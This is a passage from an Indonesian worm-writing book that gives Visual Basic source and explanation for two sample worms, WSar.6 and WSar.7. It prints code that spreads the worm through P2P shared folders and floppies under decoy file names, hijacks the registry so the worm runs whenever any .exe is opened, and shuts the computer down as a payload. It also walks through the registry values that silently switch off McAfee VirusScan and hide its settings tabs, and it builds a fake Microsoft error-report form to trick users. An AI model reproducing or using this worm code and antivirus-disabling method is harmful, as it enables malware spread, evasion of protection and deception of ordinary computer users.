Dim Filthree(7) As String Filthree(0) = ".avi .exe" Filthree(1) = ".mpg .exe" Filthree(2) = ".mpeg .exe" Filthree(3) = ".wma .exe" Filthree(4) = ".mp3 .exe" Filthree(5) = ".wav .exe" Filthree(6) = ".mid .exe" Randomize() wormname = Filone(Int(Rnd * 4)) & Filtwo(Int(Rnd * 8)) & _ Filthree(Int(Rnd * 7))

Dim P2P(1 To 7) As String Dim w As Integer P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7 If Len(Dir$(P2P(w), vbDirectory)) <> 0 Then FileCopy(WormFile, P2P(w) & "\" & wormname) End If NextEnd Sub

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "millionaire." NamaCantik(1) = "pussycat." NamaCantik(2) = "hangman." NamaCantik(3) = "test-IQ."

Page 190: Computer Worm 1 secret of underground coding

175Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

NamaCantik(4) = "tom n jerry." NamaCantik(5) = "egg." NamaCantik(6) = "puzzle." NamaCantik(7) = "chess." NamaCantik(8) = "solitaire." NamaCantik(9) = "scrabble." Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*..exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & ".exe") End IfEnd Sub

Private Sub PayLoad() On Error Resume Next MsgBox("WSar.6 Ada Pada Komputer Anda", vbExclamation) Call Shell("Rundll32.exe user,exitwindows")End Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Berikut penjelasan tentang kode program:

Pada procedure Form_Load, worm mengatur agar saat load, worm se-cara otomatis mengeksekusi nama file yang ditambahkan setelahnya. Hal ini berkaitan dengan metode Shell Spawning yang digunakan WSar.6, sehingga bentuk umum worm dapat ditulis sebagai berikut:

worm [filename]

Contoh, untuk mengeksekusi file "c:\windows\notepad.exe" dengan nama file utama worm adalah loadsys.exe maka dapat menggunakan sintaksis berikut ini:

loadsys c:\windows\notepad.exe

Worm juga menyembunyikan proses dari taskbar, memeriksa proses instan yang sama dan mencegah file utama dieksekusi lebih dari satu kali dengan langsung mengakhiri proses file utama.

Page 191: Computer Worm 1 secret of underground coding

176Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

Pada procedure InfectSystem worm membuat salinan file utama ke direktori System Windows dengan nama file loadsys.exe kemudian memanipulasi registry pada key HKEY_CLASSES_ROOT\exefile\shell\open\command dan mengubah value menjadi "loadsys.exe %1". Nilai registry ini akan mengeksekusi file loadsys.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe".

Procedure InfectNect akan berusaha membuat salinan worm pada shared drive atau direktori dalam suatu jaringan, dengan menggu-nakan 5 nama file yang berbeda dan ditujukan pada direktori default StartUp, Desktop, dan My Documents.

Procedure tmrIseng_Timer bekerja secara otomatis dengan mengetik-kan tombol huruf tertentu pada keyboard, dan akhirnya akan mem-bentuk suatu kalimat yang diambil dari tag pada object tmrIseng, yaitu kalimat "Woooy... kok ngetik sendiri neeh...".

Sementara procedure tmrIsengLauncher_ Timer mengatur agar procedure tmrIseng_Timer aktif setiap lima menit, dan hanya jika worm menemukan jendela aplikasi yang mengandung kata word, seperti Microsoft Word atau mengandung kata pad seperti Notepad dan Wordpad.

Procedure tmrSpreading_Timer mengatur agar apabila menit sekarang menunjukan nilai 16 atau 46 dan detik menunjukan nilai 13 maka worm memanggil procedure PerToPer.

Apabila menit sekarang menunjukan nilai 1 atau 31 dan detik menun-jukan nilai 13 maka worm memanggil procedure InfectNet, kemudian apabila satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectFloppy.

Procedure tmrWinExit_Timer berfungsi untuk memastikan tidak ada satupun dari program; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe dan msconfig.exe yang dapat dijalankan oleh user, dengan memanggil function WinExit dari module mdlWinExit.

Procedure PerToPer akan membuat salinan worm di setiap direktori de-fault aplikasi peer to peer seperti BearShare, Edonkey, Grokster, KMD, Kazaa, KazaaLite dan Morpheus, dengan banyak membuat kombinasi nama file dan ekstensi.

Page 192: Computer Worm 1 secret of underground coding

177Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

Procedure InfectFloppy berfungsi untuk membuat salinan file utama worm pada disket. Procedure PayLoad akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda" dan langsung mematikan kom-puter.

Catatan untuk WSar.6 : berikut ini adalah beberapa lokasi key pada registry yang bisa digunakan untuk metode Shell Spawning:

Ekstensi Lokasi KeyEXE HKEY_CLASSES_ROOT\exefile\shell\open\command

BAT HKEY_CLASSES_ROOT\batfile\shell\open\command

HTA HKEY_CLASSES_ROOT\htafile\shell\open\command

PIF HKEY_CLASSES_ROOT\piffile\shell\open\command

COM HKEY_CLASSES_ROOT\comfile\shell\open\command

GIF HKEY_CLASSES_ROOT\giffile\shell\Open\command

HTML HKEY_CLASSES_ROOT\htmlfile\shell\open\command

HTT HKEY_CLASSES_ROOT\HTTfile\shell\Edit\command

INF HKEY_CLASSES_ROOT\inffile\shell\open\command

INI HKEY_CLASSES_ROOT\inifile\shell\open\command

JPEG HKEY_CLASSES_ROOT\jpegfile\shell\Open\command

MID HKEY_CLASSES_ROOT\MIDFile\shell\open\command

MP3 HKEY_CLASSES_ROOT\mp3file\shell\open\command

MPEG HKEY_CLASSES_ROOT\mpegfile\shell\open\command

REG HKEY_CLASSES_ROOT\regfile\shell\open\command

RTF HKEY_CLASSES_ROOT\rtffile\shell\open\command

SCR HKEY_CLASSES_ROOT\scrfile\shell\open\command

VBS HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command

WMA HKEY_CLASSES_ROOT\wmafile\shell\open\command

TXT HKEY_CLASSES_ROOT\txtfile\shell\open\command

Key ini juga terdapat pada HKEY_LOCAL_MACHINE\ Software\CLASSES, sehingga untuk menggunakan metode Shell Spawning pada ekstensi exe dan txt, dapat menggunakan key berikut:

Page 193: Computer Worm 1 secret of underground coding

178Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

Ekstensi Lokasi KeyEXE HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\

shell\open\command

TXT HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command

Untuk menggunakan metode Shell Spawning pada executable file seperti ekstensi exe dan com, sangatlah mudah seperti yang dicontohkan pada WSar.6, tetapi untuk ekstensi yang tidak merupakan file executable seperti txt dan rtf, maka harus ditambahkan nama file atas program yang umumnya digunakan untuk membuka ekstensi file tersebut.

Sebagai contoh, berikut ini adalah penggunaan TXT spawning yang bisa diaplikasikan pada WSar.6

Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell ("c:\windows\notepad.exe " & Spawning), _ vbNormalFocus If App.PrevInstance = True Then End InfectSystem()End Sub

Private Sub InfectSystem() On Error Resume Next FileCopy(App.EXEName & ".exe", SpecialFolder(1) & _ "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\txtfile\shel" & _ "l\open\command", "", "loadsys.exe %1")End Sub

Page 194: Computer Worm 1 secret of underground coding

179Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

BAB 13WORM WSar.7

Worm dasar 7 mendemonstrasikan suatu contoh internet worm lainnya, dengan pengiriman e-mail ber-attachment dan me-manfaatkan aplikasi mIRC sebagai metode penyebaran.

WSar.7 menggunakan icon ekstensi txt dan akan membuka aplikasi Notepad apabila user mengeksekusinya. Metode ini juga digunakan oleh worm Pesin walaupun worm Pesin menggunakan metode yang sedikit berbeda. WSar.7 tergantung pada path file utama sedangkan Pe-sin tergantung pada parameter tambahan dalam pengeksekusiannya.

Penulis juga mendemonstrasikan bagaimana suatu worm mampu 'menjinakan’ suatu antivirus tanpa harus menghapus file antivirus ataupun mengakhiri proses antivirus tersebut. Penulis memilih McAfee VirusScan versi 8 atau 9 sebagai bahan percobaan karena antivirus versi ini memiliki fasilitas ScriptStopper yang secara 'membabi buta’ akan menghentikan proses Scripting dan menampilkan kotak dialog konfirmasi, walaupun sebenarnya proses scripting tersebut bukan berasal dari suatu worm atau virus .

Page 195: Computer Worm 1 secret of underground coding

180Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

13.1 COMPARISON METHODEPada prinsipnya setiap pengaturan yang bersifat tidak tetap atau dapat diubah pada setiap aplikasi termasuk antivirus umumnya disimpan dalam suatu file konfigurasi, dan lebih sering tersimpan pada system registry Windows, sehingga perlu untuk mempelajari bagaimana mengatur konfigurasi suatu aplikasi secara manual dengan meman-faatkan menu Help atau dengan membaca buku manualnya.

Berikut ini adalah contoh langkah-langkah yang penulis sebut sebagai comparison methode atau metode perbandingan, yang akan digunakan pada WSar.7.

1. Langkah pertama adalah membuka aplikasi Registry Editor, kemu-dian mengekspor dan menyimpan nilai registry yang dimiliki aplikasi antivirus. Dalam hal ini, antivirus masih dalam konfigurasi default dan belum diadakan suatu perubahan apapun. Biasanya registry untuk software yang terinstal, terletak pada key berikut:

HKEY_CURRENT_USER\SOFTWARE\HKEY_LOCAL_MACHINE\SOFTWARE\

Dalam hal ini McAfee VirusScan menyimpan konfigurasinya pada key:

HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com

Dengan subkey sebagai berikut:

AgentAgent\AppsAgent\Apps\VSOAgent\LinksAgent\OEMAgent\RegwizAgent\ResultLogAgent\SecurityNewsAgent\SecurityNews\OEMAgent\UpdateAgent\Update\Download

Page 196: Computer Worm 1 secret of underground coding

181Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Agent\Update\Download\McUpdMgrLogAgent\Update\ResultLogRegWizRegWiz\InstallerSharedModulesSharedModules\c:%progra~1%mcafee.com%shared%dunzip32.dllSharedModules\c:%progra~1%mcafee.com%shared%mcappins.exeSharedModules\c:%progra~1%mcafee.com%shared%mcappins.infSharedModules\c:%progra~1%mcafee.com%shared%mghtml.exeSharedModules\c:%progra~1%mcafee.com%shared%mghtml.infVirusscan OnlineVirusscan Online\AVERTVirusscan Online\CustomizeVirusscan Online\Customize\ActiveShieldVirusscan Online\Customize\AlertsVirusscan Online\Customize\Alerts\WormStopperVirusscan Online\Customize\MenuVirusscan Online\Customize\Menu\1029Virusscan Online\Customize\Menu\1030Virusscan Online\Customize\Menu\1031Virusscan Online\Customize\Menu\1033Virusscan Online\Customize\Menu\1279Virusscan Online\Customize\Menu\2057Virusscan Online\Customize\Menu\257Virusscan Online\Customize\Menu\258Virusscan Online\Customize\Menu\260Virusscan Online\Customize\Menu\264Virusscan Online\Customize\Menu\266Virusscan Online\Customize\Menu\515Virusscan Online\Customize\odsVirusscan Online\Customize\OptionsVirusscan Online\Customize\Options\AdvAShieldVirusscan Online\Customize\Options\AdvEmailScanVirusscan Online\Customize\Options\AdvFTScanVirusscan Online\Customize\Options\AdvScriptStopperVirusscan Online\Customize\Options\AdvWormStopperVirusscan Online\Customize\Options\AShieldVirusscan Online\Customize\Options\SchedularVirusscan Online\Customize\Options\VMapVirusscan Online\Customize\ShortCutsVirusscan Online\Customize\ShortCuts\aruninstallVirusscan Online\Customize\ShortCuts\dsscannowVirusscan Online\Customize\ShortCuts\psashieldVirusscan Online\Customize\ShortCuts\psediskVirusscan Online\Customize\ShortCuts\psquarantineVirusscan Online\Customize\ShortCuts\psscannowVirusscan Online\Customize\ShortCuts\psuninstallVirusscan Online\Customize\ShortCuts\psvsoVirusscan Online\Customize\UninstallVirusscan Online\Customize\VirusInfoVirusscan Online\InstallerVirusscan Online\LinksVirusscan Online\propertyVirusscan Online\property\notifyVirusscan Online\RescueDisk

Page 197: Computer Worm 1 secret of underground coding

182Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Kemudian menyimpan ha-sil ekspor registry tersebut dengan nama ENABLE.REG

2. Langkah berikutnya adalah membuka panel konfigurasi, dengan meng-klik kanan icon McAfee VirusScan pada system tray, menyorot VirusScan dan memilih Options

3. Akan tampil kotak dialog konfigurasi Options, terdiri dari tiga tab, termasuk tab ActiveShield yang menjadi tab utama dimana tab ini memiliki beberapa opsi yang semuanya dalam keadaan terseleksi, yaitu:

a. Start ActiveShield when Windows starts: jika opsi ini terseleksi berarti ActiveShield akan aktif saat Windows startup, dimana ActiveShield bekerja secara background yang akan melind-ungi system dari malcode (program perusak/jahat) saat run-time.

b. Scan e-mail and attachments: jika opsi ini terseleksi maka Ac-

Page 198: Computer Worm 1 secret of underground coding

183Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

tiveShield akan memeriksa e-mail dan attachment yang masuk (POP3), dan yang keluar (SMTP) untuk beberapa aplikasi e-mail yang terbilang populer, seperti Outlook Express, MS Outlook, Netscape Messenger, Netscape Mail, Eudora Light, Eudora Pro, Pegasus dan lain sebagainya.

c. Scan inbound instant message attachments: jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan saat suatu e-mail ber-attachment secara instant dibuka oleh suatu aplikasi seperti MSN Messenger, Yahoo Messenger dan AOL Instant Messenger.

Bersihkan seleksi dengan menghilangkan tanda check pada CheckBox untuk opsi Start ActiveShield when Windows starts, dan opsi Scan inbound instant message attachments.

4. Klik tombol Advanced pada tab ActiveShield untuk pengaturan konfig-urasi yang lebih mendetail, dan sebuah kotak dialog baru terbuka dengan lang-sung menuju pada tab ActiveShield, kemudian bersihkan seleksi untuk setiap opsi yang ada.

a. Scan for new unknown viruses: jika opsi ini ter-pilih maka ActiveShield menggunakan teknik heuristic, dimana anti-virus mendeteksi worm atau virus baru dengan mencocokan suatu pola yang biasanya digunakan worm atau virus.

b. Pada frame File Types to Scan, jika opsi All files terseleksi maka ActiveShield akan memeriksa seluruh jenis file, tetapi jika opsi yang aktif adalah Program files and documents only maka ActiveShield hanya akan memeriksa file program dan file dokumen saja.

Page 199: Computer Worm 1 secret of underground coding

184Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

5. Klik tab E-mail Scan. Tab ini memberikan opsi yang berkaitan dengan proses pengiriman dan penerimaan e-mail. Bersihkan seleksi untuk setiap opsi yang ada.a. Inbound e-mail messages.

Jika opsi ini terseleksi maka ActiveShield akan melaku-kan pemeriksaan apabila suatu e-mail diterima. Opsi ini memiliki sub lainnya yaitu; Automatically clean infected attachments yang berarti secara otomatis mem-bersihkan attachment yang terinfeksi, dan Prompt me when attachment needs to be cleaned yang memiliki arti agar mengkonfirmasikan terlebih dahulu dengan pengguna apabila suatu attachment perlu untuk dibersihkan dari suatu malcode.

b. Outbound e-mail messages, jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan untuk setiap e-mail yang akan dikirimkan.

6. Klik tab ScriptStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas ScriptStopper, yang berguna untuk menampilkan konfirmasi pengeksekusian untuk setiap script atau program yang me-manfaatkan penggunaan script. Kemudian bersihkan seleksi untuk setiap opsi yang ada.

Page 200: Computer Worm 1 secret of underground coding

185Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

7. Klik tab WormStopper. Tab ini digunakan untuk mengaktifkan atau menon-aktifkan fasilitas Worm-Stopper, yang berguna untuk menampilkan pesan peringatan jika menemukan suatu program yang memi-liki pola persis dengan suatu worm, yang cenderung mengirimkan e-mail secara masal. Bersihkan seleksi untuk setiap opsi yang ada.

8. Kini setiap opsi yang ada pada kotak dialog Advanced ActiveShield Options tidak terseleksi, klik OK untuk mengakhiri dan langsung menuju kotak dialog Options. Bersihkan seleksi pada opsi Scan e-mail and attachments, dan akhiri kotak dialog Options dengan mengklik OK.

9. Kembali pada aplikasi Registry Editor, kemudian ekspor dan simpan kembali nilai registry yang dimiliki aplikasi antivirus tersebut, dengan memberi nama file yang berbeda, misalnya DISABLE.REG.

10. Kemudian buka file ENABLE.REG dan DISABLE.REG dengan menggunakan aplikasi text editor, lalu bandingkan dan kumpulkan nilai registry yang berubah. Penulis menyarankan agar Anda menggu-nakan aplikasi yang memiliki fasilitas compare seperti UltraEdit. Dari perbandingan dua file tersebut, didapatkan beberapa perubahan nilai registry sebagai berikut:

Page 201: Computer Worm 1 secret of underground coding

186Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property

Value ActiveShield:ScanHeuristic

Type REG_BINARY

Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04

04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key HKLM\SOFTWARE\McAfee.com\Viruss-can Online\property

Value EmailScan:Enable

Type REG_BINARY

Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 41 90 0D 8F 5E E2 E2 A5 A3 EA AE 08 2F 64 5C E9 02 04 04 04

04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property

Value WS:Enable

Type REG_BINARY

Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04

04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property

Value ScriptStopper:Enable

Page 202: Computer Worm 1 secret of underground coding

187Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Type REG_BINARY

Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04

04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property

Value ActiveShield:LoadAtStartup

Type REG_BINARY

Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04

04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property

Value FT:Enable

Type REG_BINARY

Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04

04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

11. Dari perubahan-perubahan tersebut dapat disimpulkan bahwa data binary yang digunakan untuk menonaktifkan fasilitas-fasilitas tersebut adalah: 04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04. Sehingga untuk me-nonaktifkannya cukup memanipulasi registry dengan menggunakan data-data tersebut.

Page 203: Computer Worm 1 secret of underground coding

188Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

12. Seorang worm writer tentunya akan berfikir agar segala manipulasi yang dilakukannya tidak diketahui oleh user, atau sedikitnya akan menyulitkan advanced user untuk mengembalikan manipulasi terse-but, demikian pula dengan manipulasi konfigurasi antivirus ini, setiap user dengan mudah mengaktifkan segala fasilitas pada antivirus hanya dengan membuka kotak dialog Options dan Advanced Option untuk kemudian memberi seleksi untuk setiap opsi.

Berikut ini adalah beberapa manipulasi registry yang penulis temukan untuk menyembunyikan tab pada kotak dialog Options dan Advanced Options, sehingga akan sangat membingungkan bahkan untuk seorang advanced user sekalipun, dalam menemukan opsi-opsi tersebut.

Dialog Box Advanced ActiveShield Options

Tab ActiveShield

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvAShield

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Dialog Box Advanced ActiveShield Options

Tab E-mail Scan

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Vi-russcan Online\Customi ze\Options\AdvEmailScan

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Page 204: Computer Worm 1 secret of underground coding

189Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Dialog Box Advanced ActiveShield Options

Tab ScriptStopper

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customize\Options\AdvScriptStopper

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Dialog Box Advanced ActiveShield Options

Tab WormStopper

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Vi-russcan Online\Customi ze\Options\AdvWormStopper

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Dialog Box Options

Tab ActiveShield

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AShield

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Page 205: Computer Worm 1 secret of underground coding

190Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Dialog Box Options

Tab Virus MAP Reporting

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\VMap

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Dialog Box Options

Tab Scheduled Scan

Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\Schedular

Value State

Type REG_BINARY

Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Catatan: Bug ini telah penulis posting ke lab McAfee (NAI), dan untuk menghindari trik seperti ini Anda cukup menghapus semua nilai registry pada key: HKEY_LOCAL_MACHINE\SOFTWARE\McA fee.com karena aplikasi McAfee VirusScan akan segera menggunakan konfigurasi default, hal ini juga membuktikan bahwa aplikasi McAfee VirusScan sebenarnya sudah mempersiapkan diri jika sewaktu-waktu suatu worm atau virus akan menghapus konfigurasi pada nilai registry, yang akan mengakibatkan aplikasi McAfee VirusScan tidak dapat berjalan dengan normal.

Page 206: Computer Worm 1 secret of underground coding

191Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

13.2 ALGORITMAWSar.7 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada

suatu system komputer2. Worm menyembunyikan aplikasi file worm dari task list3. Membuka aplikasi Notepad saat user mengeksekusinya4. Memeriksa keberadaan McAfee VirusScan, dan memanipulasi

registry jika menemukannya5. Menginfeksi system dengan membuat salinan worm pada folder

Windows dan System Windows6. Memanfaatkan aplikasi mIrc dengan berusaha mengirimkan salinan

worm dengan nama wintweak.exe7. Pada saat tertentu menampilkan fake form sebagai suatu usaha

rekayasa sosial agar user mengijinkan worm mengirimkan e-mail8. Pada saat tertentu berusaha menginfeksi disket dan mengakses

printer dengan mencetak suatu pesan9. Pada tanggal 13 Oktober, worm akan menghapus folder dan sub

folder Temp, kemudian menampilkan pesan "WSar.7 Ada Pada Komputer Anda".

13.3 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.7’

Tambahkan 1 buah object Shape, 1 buah object Line, 6 buah object Label, 2 buah object CommandButton, 1 buah object TextBox, 3 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Page 207: Computer Worm 1 secret of underground coding

192Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Properti object Form1

Jenis Nilai KeteranganName frmWSar7 Mengatur nama form menjadi

frmWSar7

BackColor &H80000016& Warna latar belakang diatur pada mode Light Shadow

Caption MICROSOFT WINDOWS TEAM

Caption ini berkaitan dengan rekayasa sosial yang akan digunakan.

ControlBox False Tidak menampilkan ControlBox pada form

Height 3855 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.7 menggunakan icon text.ico

MaxButton False Tidak menampilkan tombol maximize

MinButton False Tidak menampilkan tombol minimize

ShowInTaskbar False Tidak tampil pada taskbar

StartUp Position 2 – Center Screen

Mengatur form agar berada ditengah layar

Visible False Tidak menampilkan form

Width 6285 Mengatur lebar form

Properti object Shape1

Jenis Nilai KeteranganBorderStyle Transparent Tidak menampilkan garis tepi

FillColor &H00FFFFFF& Warna isi menjadi putih

FillStyle 0 - Solid Metode pengisian warna menjadi solid

Height 850 Tinggi Shape

Left 0 Posisi dari kiri

Shape 0 – Rectangle Jenis Shape

Top 0 Posisi dari atas

Width 6175 Lebar Shape

Page 208: Computer Worm 1 secret of underground coding

193Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Properti object Line1

Jenis Nilai KeteranganBorderColor &H00808080& Abu-abu gelap

X1 0 Posisi garis pada koordinat X untuk point 1

X2 6200 Posisi garis pada koordinat X untuk point 2

Y1 810 Posisi garis pada koordinat Y untuk point 1

Y2 810 Posisi garis pada koordinat Y untuk point 2

Properti object Label1

Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang

agar menjadi transparan

Caption SYSTEM WINDOWS has encountered a problem and needs to report. We are sorry for the inconvenience.

Mengatur teks pada Caption

Font Font: MS San Serif Font Style: Bold Size: 8

Mengatur huruf yang digunakan

Height 495 Tinggi Label

Left 360 Posisi dari kiri

Top 210 Posisi dari atas

Width 5415 Lebar Label

Properti object Label2

Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang

agar menjadi transparan

Caption If you were in the middle of something, the information you were working on might be lost.

Mengatur teks pada Cap-tion

Height 495 Tinggi Label

Left 360 Posisi dari kiri

Top 1020 Posisi dari atas

Width 5535 Lebar Label

Page 209: Computer Worm 1 secret of underground coding

194Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Properti object Label3

Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang

agar menjadi transparan

Caption Please tell Microsoft about this problem.

Mengatur teks pada Caption

Font Font: MS San Serif Font Style: Bold Size: 8

Mengatur huruf yang digunakan

Height 255 Tinggi Label

Left 360 Posisi dari kiri

Top 1640 Posisi dari atas

Width 5175 Lebar Label

Properti object Label4

Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang

agar menjadi transparan

Caption We have created an error report that you can send to us. We will treat this report as confidential and anonymous.

Mengatur teks pada Caption

Height 495 Tinggi Label

Left 360 Posisi dari kiri

Top 1875 Posisi dari atas

Width 5175 Lebar Label

Properti object Label5

Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang agar

menjadi transparan

Caption To see what data this error report contains,

Mengatur teks pada Caption

Height 255 Tinggi Label

Page 210: Computer Worm 1 secret of underground coding

195Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Left 360 Posisi dari kiri

Top 2600 Posisi dari atas

Width 3135 Lebar Label

Properti object Label6

Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang agar

menjadi transparan

Caption To see what data this error report contains,

Mengatur teks pada Caption

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

